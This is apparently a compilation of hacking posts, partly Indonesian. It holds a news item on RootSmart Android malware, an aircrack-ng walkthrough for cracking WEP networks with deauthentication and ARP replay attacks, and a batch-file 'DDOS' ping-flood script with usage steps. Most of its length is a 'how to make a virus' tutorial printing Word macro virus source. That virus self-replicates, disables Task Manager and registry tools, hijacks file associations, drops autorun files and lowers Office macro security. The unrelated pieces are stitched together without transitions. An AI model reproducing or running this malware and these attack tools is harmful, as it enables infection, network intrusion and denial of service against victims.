Cara Kerja Malware Android Hingga Bisa Menghasilkan Ribuan Dollar Perhari

Salah satu malware yang telah menjangkit antara 10 ribu sampai 30 ribu ponsel Android bernama RootSmart, pertama kali ditemukan oleh Profesor Xuxian Jiang dari Universitas North Carolina.

Malware ini menggunakan GingerBreak, yang merupakan sebuah tool untuk akses root di Android 2.3. Cara kerjanya adalah ketika malware diunduh sebagai bagian dari sebuah aplikasi di Android Market tidak resmi, malware itu kembali ke remote server dan mengunduh GingerBreak, mengoleksi informasi dari ponsel. Kemudian malware tersebut dapat beroperasi sebagai botnet besar, menghasilkan uang dengan melakukan panggilan atau pesan ke premium number. Bahkan uang yang didapat bisa mencapai ribuan dollar perharinya, mengingat jumlah ponsel android yang terjangkit terbilang sangat banyak.

Untuk pengguna di luar China tidak usah khawatir, karena malware ini tidak terdapat pada aplikasi yang diunduh dari Android Market resmi, namun bisa saja di kemudian hari pembuat malware menyerang pengguna di seluruh dunia. Meskipun begitu layanan Google Bouncer mungkin dapat menangkap ancaman ini dan membuangnya dari Market.

Aircrack-ng Guide for Linux

Setting up Hardware, Installing Aircrack-ng

The first step in getting aircrack-ng working properly on your Linux system is patching and installing the proper driver for your wireless card. Many cards work with multiple drivers, some of which provide the necessary features for using aircrack-ng, and some of which do not.
Needless to say, you need a wireless card which is compatible with the aircrack-ng suite. This is hardware which is fully compatible and can inject packets. A compatible wireless card can be used to crack a wireless access point in under an hour.
To determine to which category your card belongs to, see hardware compatibility page. Read Tutorial: Is My Wireless Card Compatible? if you don't know where to look in this table. It still does not hurt to read this tutorial to build your knowledge and confirm your card attributes.
First, you need to know which chipset is used in your wireless card and which driver you need for it. You will have determined this using the information in the previous paragraph. The drivers section will tell you which drivers you need for your specific chipset. Download them and then get the corresponding patch from http://patches.aircrack-ng.org. (These patches enables the support for injection.)
As I own a Ralink USB device, I am providing the steps to get it working with Aircrack-ng. Before you are able to compile and install drivers, you need the kernel-sources for your distribution installed.
If you own another type of card, check the installing drivers page for instructions about other drivers. As well, do a search in the net if you're unsure how to install them.

RaLink USB rt2570 Setup guide

If you own a rt2570 USB device (like D-Link DWL-G122 rev. B1 or Linksys WUSB54G v4) you should use the drivers from http://homepages.tu-darmstadt.de/~p_larbig/wlan/ These are special modified drivers, which support injection and are reported to work best with Aircrack-ng. They don't need to be patched. Of course these drivers do also work for normal operation. (Starting with kernel 2.6.25 and Aircrack-ng v1.0-rc1, the in-kernel driver, rt2500usb, can also be used.)
Lets unpack, compile and install the drivers:

tar xfj rt2570-k2wrlz-1.3.0.tar.bz2
cd rt2570-k2wrlz-1.3.0/Module
make
make install

The last step has to be performed as root. Use su to change to root. Now we can load the module into the kernel:

modprobe rt2570

Plug in your card, it should be recognized as rausb0 now. Run iwconfig to list your wireless devices and check if everything is working.

Aircrack-ng installation

Source

Get the latest copy of aircrack-ng from the homepage: http://www.aircrack-ng.org The following commands would have to be changed if you use a newer version of the software.
Unpacking, compiling, installing:

tar xfz aircrack-ng-1.0-rc1.tar.gz
cd aircrack-ng-1.0-rc1
make
make install

As usual, the last step needs to be performed as root, use su or sudo -s to login as root (use sudo make install for Ubuntu).

YUM

WARNING!!! Currently, neither of the repositories hosts the latest version of Aircrack-ng. It's recommended that you use the first method instead.
If you are using a system like Redhat Linux or Fedora Core you can install aircrack-ng with yum. First you have to add the repository of Dag Wieers or Dries.

su
yum -y install aircrack-ng

RPM

WARNING!!! Currently, neither of the repositories hosts the latest version of Aircrack-ng. It's recommended that you use the first method instead.
If you are using a system which is rpm-based then you can take the easy way to install aircrack-ng. (Example for Redhat Linux 4)

su
rpm -ihv http://dag.wieers.com/rpm/packages/aircrack-ng/aircrack-ng-0.7-1.el4.rf.i386.rpm

IMPORTANT: Check http://dag.wieers.com/rpm/packages/aircrack-ng/ for the latest version of the aircrack-ng suite and change the command above to reference the latest version.

IEEE 802.11 basics

Ok, now everything is ready, time to make a pit stop before the action finally starts and learn something about how wireless networks work.
The following chapter is very important, if something doesn't work as expected. Knowing what all is about helps you find the problem or helps you at least to describe it so someone else who can help you. This is a little bit scientific and maybe you feel like skipping it. However, a little knowledge is necessary to crack wireless networks and because it is a little more than just typing one command and letting aircrack do the rest.

How a wireless network is found

This is a short introduction into managed networks, these ones working with Access Points (AP). Every AP sends out about 10 so called beacon frames a second. These packets contain the following information:

• Name of the network (ESSID)
• If encryption is used (and what encryption is used; pay attention, that may not be always true just because the AP advertises it)
• What MBit data rates are supported
• Which channel the network is on

This information is then shown in your tool that connects to this network. It is shown when you let your card scan for networks with iwlist scan and when you run airodump-ng.
Every AP has a unique MAC address (48 bit, 6 pair of hexadecimal numbers). It looks like 00:01:23:4A:BC:DE. Every network hardware device has such an address and network devices communicate with each other by using this MAC address. So its basically like a unique name. MAC addresses are unique, no two network devices in the world have the same MAC address.

Connecting with a network

If you want to connect to a wireless network, there are some possibilities. In most cases, Open System Authentication is used. (Optional: If you want to learn more about authentication, check this out.)
Open System Authentication:

1. Ask the AP for authentication.
2. The AP answers: OK, you are authenticated.
3. Ask the AP for association
4. The AP answers: OK, you are now connected.

This is the simplest case, BUT there could be some problems if you are not legitimate to connect:

• WPA/WPA2 is in use, you need EAPOL authentication. The AP will deny you at step 2.
• Access Point has a list of allowed clients (MAC addresses), and it lets no one else connect. This is called MAC filtering.
• Access Point uses Shared Key Authentication, you need to supply the correct WEP key to be able to connect. (See the How to do shared key fake authentication? tutorial for advanced techniques.)

Simple sniffing and cracking

Discovering Networks

The first thing to do is looking out for a potential target. The aircrack-ng suite contains airodump-ng for this - but other programs like Kismet can be used too.
Prior to looking for networks, you must put your wireless card into what is called “monitor mode”. Monitor mode is a special mode that allows your PC to listen to every wireless packet. This monitor mode also allows you to optionally inject packets into a network. Injection will be covered later in this tutorial.
To put your wireless card into monitor mode:
airmon-ng start rausb0
To confirm it is in monitor mode, run “iwconfig” and confirm the mode. The airmon-ng page on the Wiki has generic information and how to start it for other drivers.
Then, start airodump-ng to look out for networks:

airodump-ng rausb0

“rausb0” is the network interface (nic) name. If you are using a different WLAN device than a rt2570 you'll have to use a different nic name. Take a look in the documentation of the nic driver. For most newer drivers, the primary interface name is “wlan0”, but for monitoring, a secondary interface (“mon0”, created when you run airmon-ng) is used.
If airodump-ng could connect to the WLAN device, you'll see a screen like this:

airodump-ng hops from channel to channel and shows all access points it can receive beacons from. Channels 1 to 14 are used for 802.11b and g (in US, they only are allowed to use 1 to 11; 1 to 13 in Europe with some special cases; 1-14 in Japan). Channels between 36 and 149 are used for 802.11a. The current channel is shown in the top left corner.
After a short time some APs and (hopefully) some associated clients will show up.
The upper data block shows the access points found:

BSSID	The MAC address of the AP
PWR	Signal strength. Some drivers don't report it
Beacons	Number of beacon frames received. If you don't have a signal strength you can estimate it by the number of beacons: the more beacons, the better the signal quality
Data	Number of data frames received
CH	Channel the AP is operating on
MB	Speed or AP Mode. 11 is pure 802.11b, 54 pure 802.11g. Values between are a mixture
ENC	Encryption: OPN: no encryption, WEP: WEP encryption, WPA: WPA or WPA2 encryption, WEP?: WEP or WPA (don't know yet)
ESSID	The network name. Sometimes hidden

The lower data block shows the clients found:

BSSID	The MAC of the AP this client is associated to
STATION	The MAC of the client itself
PWR	Signal strength. Some drivers don't report it
Packets	Number of data frames received
Probes	Network names (ESSIDs) this client has probed

Now you should look out for a target network. It should have a client connected because cracking networks without a client is an advanced topic (See How to crack wep with no clients). It should use WEP encryption and have a high signal strength. Maybe you can re-position your antenna to get a better signal. Often a few centimeters make a big difference in signal strength.
In the example above the net 00:01:02:03:04:05 would be the only possible target because it's the only one with an associated client. But it also has a high signal strength so it's really a good target to practice.

Sniffing IVs

Because of the channel hopping you won't capture all packets from your target net. So we want to listen just on one channel and additionally write all data to disk to be able to use it for cracking:

airodump-ng -c 11 --bssid 00:01:02:03:04:05 -w dump rausb0

With the -c parameter you tune to a channel and the parameter after -w is the prefix to the network dumps written to disk. The ”--bssid” combined with the AP MAC address limits the capture to the one AP. The ”--bssid” option is only available on new versions of airodump-ng.
Before being able to crack WEP you'll usually need between 40 000 and 85 000 different Initialization Vectors (IVs). Every data packet contains an IV. IVs can be re-used, so the number of different IVs is usually a bit lower than the number of data packets captured.
So you'll have to wait and capture 40K to 85K of data packets (IVs). If the network is not busy it will take a very long time. Often you can speed it up a lot by using an active attack (=packet replay). See the next chapter.

Cracking

If you've got enough IVs captured in one or more file, you can try to crack the WEP key:

aircrack-ng -b 00:01:02:03:04:05 dump-01.cap

The MAC after the -b option is the BSSID of the target and dump-01.cap the file containing the captured packets. You can use multiple files, just add all their names or you can use a wildcard such as dump*.cap.
For more information about aircrack-ng parameters, description of the output and usage see the manual.
The number of IVs you need to crack a key is not fixed. This is because some IVs are weaker and leak more information about the key than others. Usually these weak IVs are randomly mixed in between the stronger ones. So if you are lucky, you can crack a key with only 20 000 IVs. But often this it not enough and aircrack-ng will run a long time (up to a week or even longer with a high fudge factor) and then tell you the key could not be cracked. If you have more IVs cracking can be done a lot faster and is usually done in a few minutes, or even seconds. Experience shows that 40 000 to 85 000 IVs is usually enough for cracking.
There are some more advanced APs out there that use an algorithm to filter out weak IVs. The result is either that you can't get more than “n” different IVs from the AP or that you'll need millions (like 5 to 7 million) to crack the key. Search in the Forum, there are some threads about cases like this and what to do.

Active attacks

Injection support

Most devices don't support injection - at least not without patched drivers. Some only support certain attacks. Take a look at the compatibility page, column aireplay. Sometimes this table is not up-to-date, so if you see a “NO” for your driver there don't give up yet, but look at the driver homepage, the driver mailing list or our Forum. If you were able to successfully replay using a driver which is not listed as supported, don't hesitate to update the compatibility page table and add a link to a short howto. (To do this, request a wiki account on IRC.)
The first step is to make sure packet injection really works with your card and driver. The easiest way to test it is the injection test attack. Make sure to perform this test prior to proceeding. Your card must be able to successfully inject in order to perform the following steps.
You'll need the BSSID (AP MAC) and ESSID (network name) of an AP that does not do MAC filtering (e.g. your own) and must be in range of the AP.
Try to connect to your AP using aireplay-ng:

aireplay-ng --fakeauth 0 -e "your network ESSID" -a 00:01:02:03:04:05 rausb0

The value after -a is the BSSID of your AP.
If injection works you should see something like this:

12:14:06  Sending Authentication Request
12:14:06  Authentication successful
12:14:06  Sending Association Request
12:14:07  Association successful :-)

If not

1. double-check ESSID and BSSID
2. make sure your AP has MAC filtering disabled
3. test it against another AP
4. make sure your driver is properly patched and supported
5. Instead of “0”, try “6000 -o 1 -q 10”

ARP replay

Now that we know that packet injection works, we can do something to massively speed up capturing IVs: ARP-request reinjection

The idea

ARP works (simplified) by broadcasting a query for an IP and the device that has this IP sends back an answer. Because WEP does not protect against replay, you can sniff a packet, send it out again and again and it is still valid. So you just have to capture and replay an ARP-request targeted at the AP to create lots of traffic (and sniff IVs).

The lazy way

First open a window with an airodump-ng sniffing for traffic (see above). aireplay-ng and airodump-ng can run together. Wait for a client to show up on the target network. Then start the attack:

aireplay-ng --arpreplay -b 00:01:02:03:04:05 -h 00:04:05:06:07:08 rausb0

-b specifies the target BSSID, -h the MAC of the connected client.
Now you have to wait for an ARP packet to arrive. Usually you'll have to wait for a few minutes (or look at the next chapter).
If you were successful, you'll see something like this:

Saving ARP requests in replay_arp-0627-121526.cap
You must also start airodump to capture replies.
Read 2493 packets (got 1 ARP requests), sent 1305 packets...

If you have to stop replaying, you don't have to wait for the next ARP packet to show up, but you can re-use the previously captured packet(s) with the -r option.
When using the arp injection technique, you can use the PTW method to crack the WEP key. This dramatically reduces the number of data packets you need and also the time needed. You must capture the full packet in airodump-ng, meaning do not use the ”--ivs” option when starting it. For aircrack-ng, use “aircrack -z ”. (PTW is the default attack in 1.0-rc1.)
If the number of data packets received by airodump-ng sometimes stops increasing you maybe have to reduce the replay-rate. You do this with the -x option. I usually start out with 50 and reduce until packets are received continuously again. Better positioning of your antenna usually also helps.

The aggressive way

Most operating systems clear the ARP cache on disconnection. If they want to send the next packet after reconnection (or just use DHCP), they have to send out ARP requests. So the idea is to disconnect a client and force it to reconnect to capture an ARP-request. A side-effect is that you can sniff the ESSID and possibly a keystream during reconnection too. This comes in handy if the ESSID of your target is hidden, or if it uses shared-key authentication.
Keep your airodump-ng and aireplay-ng running. Open another window and run a deauthentication attack:

aireplay-ng --deauth 5 -a 00:01:02:03:04:05 -c 00:04:05:06:07:08 rausb0

-a is the BSSID of the AP, -c the MAC of the targeted client.
Wait a few seconds and your arp replay should start running.
Most clients try to reconnect automatically. But the risk that someone recognizes this attack or at least attention is drawn to the stuff happening on the WLAN is higher than with other attacks.

membuat serangan DDOS dari notepad

Membuat serangan DDOS dari notepad Di sini aku cuma mau berbagi ilmu dengan kalian cara membuat
aplikasi DDOS(Distributed Denial of Service)dengan bantuan BatchFile.Berserta penjelasan
dari source code ini.Oh iya source ini merupakan salah satu dari
ToolsHack yang saya buat.
—————
Tahap pembuatan
—————
Yang di perlukan dalam pembuatan ini adalah
1.Notepad
2.salin script ini ke notepad

@echo off
mode 67,16
title DDOS Attack
color 0a
cls
echo.
echo ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ​ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
echo DDOS With Batchfile
echo ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ​ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
echo.
set /p x=Server-Target:
echo.
echo ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ​ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ping %x%
echo ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ​ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
@ping.exe 127.0.0.1 -n 5 -w 1000 > nul
goto Next
:Next
echo.
echo.
echo.
set /p m=ip Host:
echo.
set /p n=Packet Size:
echo.
DOS
color 0c
echo Attacking Server %m%
ping %m% -i %n% -t >nul
goto DDOS

3.save dengan ekstensi batchfile
contoh : DDOS.bat
———-
Cara Pakai
———-
Pada menu Server-Target masukan
alamat web yang ingin di DDOS
contohnya seperti ini:

Spoiler: hide

Quote:

disini saya mencoba men DDOS Google,setalah itu
tekan “ENTER” hasil seperti ini

Spoiler: hide

Quote:

kemudian masukan hasil ip dari ping tadi di ip host dan
untuk Packet Size itu untuk mengirim berapa byte jadi
ukuran Size terserah anda
contohnya seperti ini

Spoiler: hide

Quote:

ke mudian tekan “ENTER” hasil seperti ini

Spoiler: hide

Quote:

jika seperti gambar di atas berarti Proses DDOS berhasil di jalankan
tergantung anda ingin men DDOS sampai berapa lama.
———–
Penjelasan
———–
Saatnya penjelasan source code
@echo off

Quote:*Menyebabkan perintah tidak ditampilkan ketika dilaksakan/di execute

mode 67,16

Quote:*Membentuk layar pada command prompt dengann ukuran lebar “67″ dah tinggi “16″

title DDOS Attack

Quote:*membuat judul dengan nama “”

color 0a

Quote:*membuat layar berwarna,
pada angka 0->untuk membuat background Hitam dan a->untuk membuat tulisan menjadi Hijau Terang

cls

Quote:*membersihkan layar sehingga command seperti
@echo off
mode 67,16
title DDOS Attack
color 0a
tidak di tampilkan

echo

Quote:*akan menampilkan baris kosong

echo.

Quote:*untuk memberi tanda longkap

Ä

Quote:* membuat garis lurus

echo.
echo ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ​ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
echo DDOS With Batchfile
echo ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ​ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
echo.
set /p x=Server-Target:
echo.
echo ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ​ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ping %x%
echo ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ​ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Quote:*artinya hasil dari “Server-Target:” akan di nyatakan x
setelah itu x akan di Ping

@ping.exe 127.0.0.1 -n 5 -w 1000 > nul
goto Next

Quote:*memberi waktu pause sebanyak 5 second dan diteruskan ke Next

:Next
echo.
echo.
echo.
set /p y=ip Host:
echo.
set /p z=Packet Size:
echo.

Quote:*setelah ke Next ,
pada “ip Host:” akan di nyatakan y dan “Packet Size:” akan di nyatakan z
setelah itu di teruskan ke DDOS

DOS
color 0c

Quote:*membuat warna merah terang

echo Attacking Server %y%
ping %y% -i %z% -t >nul
goto DDOS

Quote:* artinya setelah memasukan nilai y dan nilai z
hasil nilai y akan di tampung di %y%
dan penge PING an nilai y dan pengiriman size yg di yatakan pada
nilai z setelah berhasil di lanjutkan ke DOS
karena mengunakan goto(perulangan)

Sumber : http://code-security.net/archives/109

Cara Membuat Virus

Pendahuluan
Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat merusak (misalnya dengan merusak data pada dokumen), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali.
Cara Kerja
Virus komputer umumnya dapat merusak perangkat lunak komputer dan tidak dapat secara langsung merusak perangkat keras komputer tetapi dapat mengakibatkan kerusakan dengan cara memuat program yang memaksa over process ke perangkat tertentu. Efek negatif virus komputer adalah memperbanyak dirinya sendiri, yang membuat sumber daya pada komputer (seperti penggunaan memori) menjadi berkurang secara signifikan. Hampir 95% virus komputer berbasis sistem operasi Windows. Sisanya menyerang Linux/GNU, Mac, FreeBSD, OS/2 IBM, dan Sun Operating System. Virus yang ganas akan merusak perangkat keras.

(Baca: ilmu dalam tutorial ini untuk pembelajaran bukan untuk disalahgunakan)

Ini adalah tutorial saya yang kesekian kalinya dan mudah-mudahan tutorial kali ini bermanfaat untuk kalian.
Kali ini saya akan membahas mengenai virus macro… (para virus maker diharap untuk tenang dulu!).
Pasti banyak bertanya kenapa kali ini membahas tentang cara membuat virus? Biasanya kan lebih sering membahas analisis virus atau antivirusnya itu….
Yah kali ini memang agak berbeda. Selain untuk mencari suasana baru, aku juga agak tertantang dengan artikel yang saya buat ini.
Sebelum aku membuat artikel ini, aku sengaja mencari-cari kelemahan dari antivirusku sendiri (baca:Morphost). Ternyata aku lebih tertarik untuk membuat virus macro untuk mencari celah antivirusku itu. Untuk membuat artikel ini memang butuh pengorbanan juga. Soalnya komputerku jadi terinfeksi oleh virusku sendiri. Haaahhh…..

Virus macro merupakan virus yang dibuat dalam bahasa pemrograman visual basic macro di Microsoft Office. Kita ambil contoh, virus macro Word.
CARA MEMBUAT VIRUS

1. Buka Ms.Word (hanya contoh)
2. buka tools > Macro> Visual Basic Editor

• Akan muncul gambar di bawah

Lalu kita ketikkan source virus nya pada kotak putih diatas dan akan tampak gambar seperti dibawah ini.


Sekarang muncul pertanyaan! Source yang bagaimana yang harus diketik???
Tenang, aku dah siapkan kok sourcenya. Makan neh source code!

‘This is my code’s virus

‘

‘Macro Viruses

‘[Macroid]

‘

‘Hanya untuk pembelajaran

Private Sub Document_Close()

Dim AD, NT As Object

Dim isi As String

Set AD = ActiveDocument.VBProject.VBComponents.Item(1)

Set NT = NormalTemplate.VBProject.VBComponents.Item(1)

If AD.Name <> “Macroid” Then

AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines

AD.Name = “Macroid”

isi = NT.CodeModule.Lines(1, NT.CodeModule.CountOfLines)

AD.CodeModule.AddFromString isi

ActiveDocument.Save

End If

If NT.Name <> “Macroid” Then

NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines

NT.Name = “Macroid”

isi = AD.CodeModule.Lines(1, AD.CodeModule.CountOfLines)

NT.CodeModule.AddFromString isi

NormalTemplate.Save

End If

If InStr(ActiveDocument.Content, “Macroid”) = 0 Then

ActiveDocument.Content = “[Macroid]” & vbCrLf & ActiveDocument.Content & vbCrLf & vbCrLf & vbCrLf & “[Macroid] by Morphic” & vbCrLf & “copyright(c) Medan Juli-2008″

End If

On Error Resume Next

Dim b As Object

Set b = CreateObject(“Wscript.Shell”)

b.regwrite “HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Window Title”, “Browser Internet ini diambil alih oleh Macroid”

b.regwrite “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Macroid”

b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “Macroid”

b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”, “VM-Morphic”

b.regwrite “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText”, “Macroid-A. Eat this!!! Ha ha ha”

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “2″

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt”, “1″

b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\”, “Tong Sampah Macroid”

b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\”, “Komputer Morphic”

b.regwrite “HKLM\SOFTWARE\Classes\exefile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

b.regwrite “HKLM\SOFTWARE\Classes\comfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

b.regwrite “HKLM\SOFTWARE\Classes\vbsfile\shell\edit\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

b.regwrite “HKLM\SOFTWARE\Classes\txtfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

b.regwrite “HKLM\SOFTWARE\Classes\scrfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

b.regwrite “HKLM\SOFTWARE\Classes\batfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

b.regwrite “HKLM\SOFTWARE\Classes\Folder\shell\”, “0pen”

b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\”, “&Open”

b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\command\”, “wscript.exe ” & Environ$(“windir”) & “\avmc.vbs”

b.regwrite “HKLM\SOFTWARE\Classes\VisualBasic.Project\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

On Error Resume Next

Dim rog As Integer

Dim atr, vbs, Tipu(10), Trik(10) As String

For a = 66 To 90

partisi = Chr$(a)

vbs = partisi & “:\auto.vbs”

atr = partisi & “:\autorun.inf”

Tipu(1) = partisi & “:\Soal SPMB 1995-2008.doc”

Tipu(2) = partisi & “:\Kisah di balik HarryPotter.doc”

Tipu(3) = partisi & “:\Titip File sebentar.doc”

Tipu(4) = partisi & “:\jangan di baca.doc”

Tipu(5) = partisi & “:\buku harian.doc”

Tipu(6) = partisi & “:\cerita hangat.doc”

Tipu(7) = partisi & “:\Punya Baim.doc”

Tipu(8) = partisi & “:\Teka-teki yang baru.doc”

Tipu(9) = partisi & “:\Kumpulan cerita lucu.doc”

Tipu(10) = partisi & “:\Trik Sulap.doc”

If Dir(Tipu(1)) = “” And Dir(Tipu(2)) = “” And Dir(Tipu(3)) = “” And Dir(Tipu(4)) = “” And Dir(Tipu(5)) = “” And Dir(Tipu(6)) = “” And Dir(Tipu(7)) = “” And Dir(Tipu(8)) = “” And Dir(Tipu(9)) = “” And Dir(Tipu(10)) = “” Then

Randomize

rog = Int(10 * Rnd) + 1

Open Tipu(rog) For Output As #1

Print #1, “”

Close #1

End If

Trik(1) = partisi & “:\Novel J.K.Rowling.doc”

Trik(2) = partisi & “:\cerita cinta.doc”

Trik(3) = partisi & “:\Ringkasan cerita HarryPotter.doc”

Trik(4) = partisi & “:\Semua Cheat game DOTA.doc”

Trik(5) = partisi & “:\Kumpulan Cheat game.doc”

Trik(6) = partisi & “:\Cheat game RF.doc”

Trik(7) = partisi & “:\Cheat game Ayo Dance.doc”

Trik(8) = partisi & “:\Goosebumps.doc”

Trik(9) = partisi & “:\FearStreet.doc”

Trik(10) = partisi & “:\R.L.Stine.doc”

If Dir(Trik(1)) = “” And Dir(Trik(2)) = “” And Dir(Trik(3)) = “” And Dir(Trik(4)) = “” And Dir(Trik(5)) = “” And Dir(Trik(6)) = “” And Dir(Trik(7)) = “” And Dir(Trik(8)) = “” And Dir(Trik(9)) = “” And Dir(Trik(10)) = “” Then

Randomize

rogi = Int(10 * Rnd) + 1

Open Trik(rogi) For Output As #1

Print #1, “”

Close #1

End If

Open atr For Output As #1

Print #1, “[Autorun]“

Print #1, “shell\Open\command=wscript.exe auto.vbs”

Close #1

SetAttr atr, vbHidden + vbSystem

Open vbs For Output As #1

Print #1, “dim a”

Print #1, “set a = createobject(” & Chr(34) & “Wscript.shell” & Chr(34) & “)”

Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\10.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)

Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\11.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)

Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\12.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)

Close #1

SetAttr vbs, vbHidden + vbSystem

Next a

If Dir(Environ$(“windir”) & “\Macroid.doc”) = “” Then

Dim isicrita As String

isicrita = “[Macroid] by Morphic” & vbCrLf & “Copyright(c) Medan Juli-2008″ & vbCrLf & vbCrLf & _

Chr(34) & “Ms.Word is a thing that can be used as a power to break everything…. ” & Chr(34) & vbCrLf & “(Morphic)”

Open Environ$(“windir”) & “\Macroid.doc” For Output As #1

Print #1, isicrita

Close #1

End If

If Dir(Environ$(“windir”) & “\avmc.vbs”) = “” Then

Open Environ$(“windir”) & “\avmc.vbs” For Output As #1

Print #1, “set fs = createobject(” & Chr(34) & “Scripting.FileSystemObject” & Chr(34) & “)”

Print #1, “for each FD in fs.drives”

Print #1, “if (FD.Drivetype = 1) and FD.Path <> ” & Chr(34) & “A:” & Chr(34) & ” then”

Print #1, “set tf = fs.CreateTextFile(FD.Path” & Chr(38) & Chr(34) & “\Jangan di baca.doc” & Chr(34) & “)”

Print #1, “end if”

Print #1, “Next”

Close #1

End If

ActiveDocument.Save

NormalTemplate.Save

End Sub

Private Sub Document_Open()

CommandBars(“Tools”).Controls(“Macro”).Visible = False

CommandBars(“Tools”).Controls(“Macro”).Enabled = False

CommandBars(“Tools”).Controls(“Customize…”).Visible = False

CommandBars(“Tools”).Controls(“Options…”).Visible = False

Dim AD, NT As Object

Dim isi As String

Set AD = ActiveDocument.VBProject.VBComponents.Item(1)

Set NT = NormalTemplate.VBProject.VBComponents.Item(1)

If AD.Name <> “Macroid” Then

AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines

AD.Name = “Macroid”

isi = NT.CodeModule.Lines(1, NT.CodeModule.CountOfLines)

AD.CodeModule.AddFromString isi

ActiveDocument.Save

End If

If NT.Name <> “Macroid” Then

NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines

NT.Name = “Macroid”

isi = AD.CodeModule.Lines(1, AD.CodeModule.CountOfLines)

NT.CodeModule.AddFromString isi

NormalTemplate.Save

End If

If InStr(ActiveDocument.Content, “Macroid”) = 0 Then

ActiveDocument.Content = “[Macroid]” & vbCrLf & ActiveDocument.Content & vbCrLf & vbCrLf & vbCrLf & “[Macroid] by Morphic” & vbCrLf & “copyright(c) Medan Juli-2008″

End If

On Error Resume Next

Dim b As Object

Set b = CreateObject(“Wscript.Shell”)

